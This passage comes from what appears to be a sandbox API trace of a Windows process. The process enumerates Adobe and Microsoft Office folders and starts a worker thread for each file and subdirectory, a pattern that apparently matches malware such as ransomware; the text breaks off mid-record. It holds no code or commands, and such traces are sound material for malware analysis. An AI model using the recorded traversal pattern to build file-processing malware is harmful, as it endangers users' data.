HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" [0049.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4467f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c [0049.557] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0049.557] FindClose (in: hFindFile=0x40a1a8 | out: hFindFile=0x40a1a8) returned 1 [0049.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424d18) returned 1 [0049.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e7b8) returned 1 [0049.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x3ffd18) returned 1 Thread: id = 542 os_tid = 0xf68 [0049.349] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45e838 [0049.349] wcscpy (in: _Dest=0x45e838, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" [0049.349] wcscat (in: _Dest=0x45e838, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\" [0049.349] wcscat (in: _Dest=0x45e838, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*" [0049.349] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424848 [0049.349] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x424848 | out: lpFindFileData=0x424848*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a2e8 [0049.349] wcscmp (_String1=".", _String2=".") returned 0 [0049.349] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x424848 | out: lpFindFileData=0x424848*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.349] wcscmp (_String1="..", _String2=".") returned 1 [0049.349] wcscmp (_String1="..", _String2="..") returned 0 [0049.349] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x424848 | out: lpFindFileData=0x424848*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0049.349] wcscmp (_String1="ACECache11.lst", _String2=".") returned 1 [0049.349] wcscmp (_String1="ACECache11.lst", _String2="..") returned 1 [0049.349] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x4382c0 [0049.350] wcscpy (in: _Dest=0x4382c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" [0049.350] wcscat (in: _Dest=0x4382c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\" [0049.350] wcscat (in: _Dest=0x4382c0, _Source="ACECache11.lst" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" [0049.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4382c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c [0049.433] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x424848 | out: lpFindFileData=0x424848*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0049.433] wcscmp (_String1="Profiles", _String2=".") returned 1 [0049.433] wcscmp (_String1="Profiles", _String2="..") returned 1 [0049.433] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x417860 [0049.433] wcscpy (in: _Dest=0x417860, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" [0049.433] wcscat (in: _Dest=0x417860, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\" [0049.433] wcscat (in: _Dest=0x417860, _Source="Profiles" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" [0049.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x417860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa38 [0049.435] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x424848 | out: lpFindFileData=0x424848*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0049.435] FindClose (in: hFindFile=0x40a2e8 | out: hFindFile=0x40a2e8) returned 1 [0049.435] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424848) returned 1 [0049.435] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e838) returned 1 [0049.435] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418a28) returned 1 Thread: id = 543 os_tid = 0xf6c [0049.350] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x5e46aa8 [0049.350] wcscpy (in: _Dest=0x5e46aa8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0049.350] wcscat (in: _Dest=0x5e46aa8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0049.350] wcscat (in: _Dest=0x5e46aa8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*" [0049.350] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x425df0 [0049.350] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440aa0 [0049.874] wcscmp (_String1=".", _String2=".") returned 0 [0049.874] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.224] wcscmp (_String1="..", _String2=".") returned 1 [0051.224] wcscmp (_String1="..", _String2="..") returned 0 [0051.224] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x14e98550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x53b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSUI.DLL", cAlternateFileName="")) returned 1 [0051.224] wcscmp (_String1="ACCDDSUI.DLL", _String2=".") returned 1 [0051.224] wcscmp (_String1="ACCDDSUI.DLL", _String2="..") returned 1 [0051.224] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d407000, ftCreationTime.dwHighDateTime=0x1ca8d26, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9d407000, ftLastWriteTime.dwHighDateTime=0x1ca8d26, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCESS12.ACC", cAlternateFileName="")) returned 1 [0051.224] wcscmp (_String1="ACCESS12.ACC", _String2=".") returned 1 [0051.224] wcscmp (_String1="ACCESS12.ACC", _String2="..") returned 1 [0051.224] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x447ed0 [0051.225] wcscpy (in: _Dest=0x447ed0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0051.225] wcscat (in: _Dest=0x447ed0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0051.225] wcscat (in: _Dest=0x447ed0, _Source="ACCESS12.ACC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" [0055.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447ed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac [0055.617] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLKI.DLL", cAlternateFileName="")) returned 1 [0055.617] wcscmp (_String1="ACCOLKI.DLL", _String2=".") returned 1 [0055.617] wcscmp (_String1="ACCOLKI.DLL", _String2="..") returned 1 [0055.617] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6146600, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6146600, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x26b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCVDTUI.DLL", cAlternateFileName="")) returned 1 [0055.617] wcscmp (_String1="ACCVDTUI.DLL", _String2=".") returned 1 [0055.617] wcscmp (_String1="ACCVDTUI.DLL", _String2="..") returned 1 [0055.617] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a36c100, ftCreationTime.dwHighDateTime=0x1c6af9a, ftLastAccessTime.dwLowDateTime=0x150ad890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a36c100, ftLastWriteTime.dwHighDateTime=0x1c6af9a, nFileSizeHigh=0x0, nFileSizeLow=0x53de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIP10.HLP", cAlternateFileName="")) returned 1 [0055.617] wcscmp (_String1="ACTIP10.HLP", _String2=".") returned 1 [0055.617] wcscmp (_String1="ACTIP10.HLP", _String2="..") returned 1 [0055.617] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefafd800, ftCreationTime.dwHighDateTime=0x1ca674a, ftLastAccessTime.dwLowDateTime=0x150ad890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefafd800, ftLastWriteTime.dwHighDateTime=0x1ca674a, nFileSizeHigh=0x0, nFileSizeLow=0x43590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWIZRC.DLL", cAlternateFileName="")) returned 1 [0055.617] wcscmp (_String1="ACWIZRC.DLL", _String2=".") returned 1 [0055.617] wcscmp (_String1="ACWIZRC.DLL", _String2="..") returned 1 [0055.617] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x10f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.VSL", cAlternateFileName="")) returned 1 [0055.617] wcscmp (_String1="AEC.VSL", _String2=".") returned 1 [0055.617] wcscmp (_String1="AEC.VSL", _String2="..") returned 1 [0055.617] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5d00 [0055.618] wcscpy (in: _Dest=0x5ed5d00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.618] wcscat (in: _Dest=0x5ed5d00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.618] wcscat (in: _Dest=0x5ed5d00, _Source="AEC.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" [0055.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed5d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd90 [0055.619] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.VSL", cAlternateFileName="")) returned 1 [0055.619] wcscmp (_String1="AECUTILS.VSL", _String2=".") returned 1 [0055.619] wcscmp (_String1="AECUTILS.VSL", _String2="..") returned 1 [0055.619] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x448068 [0055.619] wcscpy (in: _Dest=0x448068, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.619] wcscat (in: _Dest=0x448068, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.619] wcscat (in: _Dest=0x448068, _Source="AECUTILS.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" [0055.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x448068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf4 [0055.620] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b17900, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x50598d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe2b17900, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASSET.VRD", cAlternateFileName="")) returned 1 [0055.620] wcscmp (_String1="ASSET.VRD", _String2=".") returned 1 [0055.620] wcscmp (_String1="ASSET.VRD", _String2="..") returned 1 [0055.620] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08d18 [0055.621] wcscpy (in: _Dest=0x12e08d18, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.621] wcscat (in: _Dest=0x12e08d18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.621] wcscat (in: _Dest=0x12e08d18, _Source="ASSET.VRD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" [0055.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08d18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x248 [0055.622] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3375600, ftCreationTime.dwHighDateTime=0x1c2fe69, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc3375600, ftLastWriteTime.dwHighDateTime=0x1c2fe69, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASIC.HTM", cAlternateFileName="")) returned 1 [0055.622] wcscmp (_String1="BASIC.HTM", _String2=".") returned 1 [0055.622] wcscmp (_String1="BASIC.HTM", _String2="..") returned 1 [0055.622] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08c98 [0055.622] wcscpy (in: _Dest=0x12e08c98, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.622] wcscat (in: _Dest=0x12e08c98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.622] wcscat (in: _Dest=0x12e08c98, _Source="BASIC.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM" [0055.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c [0055.623] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntimeRes.dll", cAlternateFileName="BCSRUN~1.DLL")) returned 1 [0055.623] wcscmp (_String1="BCSRuntimeRes.dll", _String2=".") returned 1 [0055.623] wcscmp (_String1="BCSRuntimeRes.dll", _String2="..") returned 1 [0055.623] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b056800, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3b056800, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x2778, dwReserved0=0x0, dwReserved1=0x0, cFileName="BHOINTL.DLL", cAlternateFileName="")) returned 1 [0055.623] wcscmp (_String1="BHOINTL.DLL", _String2=".") returned 1 [0055.624] wcscmp (_String1="BHOINTL.DLL", _String2="..") returned 1 [0055.624] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0055.624] wcscmp (_String1="Bibliography", _String2=".") returned 1 [0055.624] wcscmp (_String1="Bibliography", _String2="..") returned 1 [0055.624] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446dd0 [0055.624] wcscpy (in: _Dest=0x446dd0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.624] wcscat (in: _Dest=0x446dd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.624] wcscat (in: _Dest=0x446dd0, _Source="Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" [0055.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0055.625] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb390, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0055.625] wcscmp (_String1="BSTORM.VSL", _String2=".") returned 1 [0055.625] wcscmp (_String1="BSTORM.VSL", _String2="..") returned 1 [0055.625] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e08c18 [0055.625] wcscpy (in: _Dest=0x12e08c18, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0055.625] wcscat (in: _Dest=0x12e08c18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0055.625] wcscat (in: _Dest=0x12e08c18, _Source="BSTORM.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" [0055.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08c18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa7c [0055.626] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, 